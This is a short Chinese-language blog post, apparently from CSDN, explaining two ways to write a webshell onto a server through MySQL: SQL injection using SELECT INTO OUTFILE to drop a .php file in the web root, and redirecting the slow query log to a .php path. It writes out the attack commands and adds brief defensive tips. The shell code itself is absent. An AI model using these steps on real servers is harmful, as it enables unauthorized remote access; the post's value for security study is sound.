mysql写shell
一、Sql注入写shell
原理:select into outfile命令作用将查询结果输出保存到一个文件中
通过sql注入写shell的三个条件:
- 知道绝对路径
- Secure_file_priv开启
一般Secure_file_priv=null,即不允许导入导出,在mysql中my.ini的[mysqld]中添加一行“Secure_file_priv=”,然后重启mysql,让配置生效。 - 目录要有写的权限
利用sql注入写入sql语句:select 1,2,“” into outfile “D:/phpstudy/phpstudy_pro/WWW/1.php”
Mysql中select into outfile命令作用将查询结果输出保存到一个文件中,以上语句会保存到1.php文件中
随便什么刀连接一下
Getshell成功
防护建议:利用sql注入漏洞结合数据库的输出文本功能形成getshell,对输入数据的严格审查过滤
二、慢日志查询写shell
知道mysql登录密码
2.phpmyadmin开放或者有机会操纵数据库
**原理:**查询超过10秒的语句会被写到慢查询日志文件中去,这样就可以进行文件写入。
查询慢日志查询功能是否开启
开启慢查询日志功能:set global slow_query_log=1;再次查询
更改日志文件地址:set global slow_query_log_file=‘D:\phpstudy\phpstudy_pro\WWW\3.php’;查询
查询内容并超过:select ‘’ or sleep(11);
连它
防护建议:利用mysql正常的功能输出木马文件,弱密码要不得
来源地址:https://blog.csdn.net/weixin_47385895/article/details/126471862